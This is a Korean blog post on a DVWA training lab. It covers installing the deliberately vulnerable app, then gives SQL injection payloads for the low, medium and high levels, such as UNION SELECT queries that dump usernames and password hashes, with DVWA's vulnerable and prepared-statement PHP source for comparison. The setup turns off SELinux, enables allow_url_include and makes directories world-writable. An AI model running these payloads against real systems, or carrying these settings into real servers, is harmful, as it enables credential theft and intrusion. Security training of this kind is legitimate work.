DVWA

2026. 9. 11. 12:22·웹 · 앱

*웹 취약점 사이트 LAB

  • Install set 명령어
    sudo dnf install -y httpd mariadb-server git php php-mysqlnd php-gd php-cli php-json
    

sudo systemctl enable --now httpd mariadb

cd /var/www/html
git clone https://github.com/digininja/dvwa.git dvwa


- 설정 파일과 데이터베이스 세팅
```bash
cd /var/www/html/dvwa/config
cp config.inc.php.dist config.inc.php

vi config.inc.php

  • 세팅 계정 확인 : dvwa / p@ssw0rd
dvma 데이터베이스 생성
mysql -u root -p
CREATE DATABASE dvwa;
CREATE USER 'dvwa'@'localhost' IDENTIFIED BY 'p@ssw0rd';
GRANT ALL ON dvwa.* TO 'dvwa'@'localhost'
FLUSH PRIVILEGES;

생성 데이터베이스 테이블은 아래와 같음

MariaDB [dvwa]> SHOW TABLES;
+----------------+
| Tables_in_dvwa |
+----------------+
| access_log     |
| guestbook      |
| security_log   |
| users          |
+----------------+

MariaDB [dvwa]> DESCRIBE users;
+-----------------+-------------+------+-----+---------------------+-------------------------------+
| Field           | Type        | Null | Key | Default             | Extra                         |
+-----------------+-------------+------+-----+---------------------+-------------------------------+
| user_id         | int(6)      | NO   | PRI | NULL                |                               |
| first_name      | varchar(15) | YES  |     | NULL                |                               |
| last_name       | varchar(15) | YES  |     | NULL                |                               |
| user            | varchar(15) | YES  |     | NULL                |                               |
| password        | varchar(32) | YES  |     | NULL                |                               |
| avatar          | varchar(70) | YES  |     | NULL                |                               |
| last_login      | timestamp   | NO   |     | current_timestamp() | on update current_timestamp() |
| failed_login    | int(3)      | YES  |     | NULL                |                               |
| role            | varchar(20) | YES  |     | user                |                               |
| account_enabled | tinyint(1)  | YES  |     | 1                   |                               |
+-----------------+-------------+------+-----+---------------------+-------------------------------+

vi /etc/php.ini

// 아래 값 저장.
> allow_url_fopen = On
> allow_url_include = On

chown -R apache:apache /var/www/html/dvwa 
chmod -R 777 /var/www/html/dvwa/hackable/uploads
chmod -R 777 /var/www/html/dvwa/config


// 방화벽 해제.
firewall-cmd --add-service=http --permanent
firewall-cmd --reload

// Selinux 해제
setenforce 0

vi /etc/selinux/config 
> SELINUX=permissive

// 웹 서버 재시작.
sudo systemctl restart httpd

DVWA Web 접속

192.168.63.134/dvwa
    // 계정 id / passwd admin / password

Low Level
*Source Code

  1. `기본 공격

    ' or 2=2-- -

  2. UNION

    1' UNION SELECT user,password from users#

  1. `UNION DB 탈취
    1' UNION SELECT database(), version()#


**Medium Level

mysqli_real_escape_string 
// 사용자 입력 값 중 ', \' 등 특수 문자 중 일부 값만 제한
// \ -> \; -> \\'

다시 공격.
myqli_real_escape_string은 사실상 보안에 사용되는 함수라기보다 오타, 특수 문자값을 검열해주는 기능의 함수와 다름없다. 따라서 sql 문에 포함되어 있는 ' 값이나 \ 값 정도만 sorting해주는 단순한 함수로 홑따옴표를 제외한 쿼리문을 작성하게 되면 똑같이 공격을 시도할 수 있다.

0 or 1=1

0 UNION SELECT user, password FROM users


**High Level

source code

|   |
|---|
|`<?php      if( isset( $_SESSION [ 'id' ] ) ) {    // Get input    $id = $_SESSION[ 'id' ];          switch ($_DVWA['SQLI_DB']) {           case MYSQL:            // Check database            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";            $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );            // Get results            while( $row = mysqli_fetch_assoc( $result ) ) {                // Get values                $first = $row["first_name"];                $last  = $row["last_name"];                // Feedback for end user                echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";               }                  ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);                       break;           case SQLITE:               global $sqlite_db_connection;            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";            #print $query;            try {                $results = $sqlite_db_connection->query($query);               } catch (Exception $e) {                   echo 'Caught exception: ' . $e->getMessage();                   exit();               }                  if ($results) {                   while ($row = $results->fetchArray()) {                    // Get values                    $first = $row["first_name"];                    $last  = $row["last_name"];                    // Feedback for end user                    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";                   }               } else {                   echo "Error in fetch ".$sqlite_db->lastErrorMsg();               }               break;       }   }      ?>   `|

`문제에 대한 url 백업용

http://192.168.63.134/dvwa/vulnerabilities/sqli/session-input.php

기존 문제와는 다르게 세션을 요청해서 파라미터 값을 변조시키는 방법인 거 같다.
LIMIT 1 로 출력값의 첫 줄만 출력되는 것을 볼 수 있다.
SESSION id 값에서 입력 프롬프트에서 바로 대입을 통해 테이블 조회가 가능하다.

if( isset( $_SESSION [ 'id' ] ) ) {    // Get input    $id = $_SESSION[ 'id' ];

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";

공격.
사실상 medium level에 주어진 문제보다 더 허술하게 짜여진 PHP값이 보인다. 세션에서 주어진 input에 대하여 추가적으로 검증하는 로직 없이 submit 버튼에 따른 input값을 그대로 $_SESSION에서 받아버리기 때문에 의미가 없어진다.
추가로 $id' LIMIT 1은 query문의 -- -문으로 주석처리가 되면 무시되기 때문에 비교 연산 true 공격과 UNION SELECT를 통해서 그대로 테이블, user_name, user_password값이 탈취되는 아주 허접한 보안이다.

1' or '1'='1' UNION SELECT user, password FROM users #


**Impossibe Level

PHP 환경 내 권장되는 소스 코드

# SQL Injection Source

## vulnerabilities/sqli/source/impossible.php

|   |
|---|
|`<?php      if( isset( $_GET[ 'Submit' ] ) ) {    // Check Anti-CSRF token    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );    // Get input    $id = $_GET[ 'id' ];    // Was a number entered?    if(is_numeric( $id )) {        $id = intval ($id);           switch ($_DVWA['SQLI_DB']) {               case MYSQL:                // Check the database                $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );                $data->bindParam( ':id', $id, PDO::PARAM_INT );                $data->execute();                $row = $data->fetch();                // Make sure only 1 result is returned                if( $data->rowCount() == 1 ) {                    // Get values                    $first = $row[ 'first_name' ];                    $last  = $row[ 'last_name' ];                    // Feedback for end user                    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";                   }                   break;               case SQLITE:                   global $sqlite_db_connection;                $stmt = $sqlite_db_connection->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;' );                $stmt->bindValue(':id',$id,SQLITE3_INTEGER);                $result = $stmt->execute();                $result->finalize();                   if ($result !== false) {                    // There is no way to get the number of rows returned                       // This checks the number of columns (not rows) just                       // as a precaution, but it won't stop someone dumping                       // multiple rows and viewing them one at a time.                    $num_columns = $result->numColumns();                       if ($num_columns == 2) {                        $row = $result->fetchArray();                        // Get values                        $first = $row[ 'first_name' ];                        $last  = $row[ 'last_name' ];                        // Feedback for end user                        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";                       }                   }                      break;           }       }   }      // Generate Anti-CSRF token   generateSessionToken();      ?>   `|

에러 조치 모음

DVMA 설치 안될 경우

systemctl disable httpd systemctl stop httpd sudo dnf install -y podman podman run --rm -it -p 80:80 docker.io/vulnerables/web-dvwa

windows11 환경

  • 스마트 앱 컨트롤을 꺼야한다. windows10 환경에서는 제공되는 기능이 아니기 때문에 별도의 조치가 필요하지는 않다.

'웹 · 앱' 카테고리의 다른 글

웹 애플리케이션 보안 취약점 2  (0) 2026.09.13
웹 애플리케이션 보안 취약점  (1) 2026.09.12
딥링크(Deep Link) 개념  (0) 2026.08.15
Burp Suite로 HTTP 기초 세우기  (0) 2026.08.04
웹 · 앱 보안 실습  (0) 2026.08.03
'웹 · 앱' 카테고리의 다른 글
  • 웹 애플리케이션 보안 취약점 2
  • 웹 애플리케이션 보안 취약점
  • 딥링크(Deep Link) 개념
  • Burp Suite로 HTTP 기초 세우기
돌아온무니
돌아온무니
게임 개발 육성 모험 RPG...!
  • 돌아온무니
    무니의 개발일지
    돌아온무니
  • 전체
    오늘
    어제
    • 분류 전체보기 (89)
      • C++ (16)
        • STL (3)
      • 자료구조 (3)
      • 알고리즘 (13)
        • DFS (1)
        • BFS (1)
      • 깨알 지식 (7)
        • 암호화 (4)
      • 코테 스터디 (2)
      • 운영체제 (8)
        • 공룡책 (4)
      • 악성코드 (3)
        • 스텍 프레임 변조 (3)
      • 네트워크 (2)
      • 게임수학 (8)
        • CK소프트렌더러 (4)
      • Unity (3)
        • Spine-unity (1)
      • Unreal Engine (3)
      • 웹 · 앱 (7)
      • 데이터베이스 (6)
      • Ansible (4)
      • Docker (0)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 최근 댓글

  • 최근 글

돌아온무니
DVWA
상단으로

티스토리툴바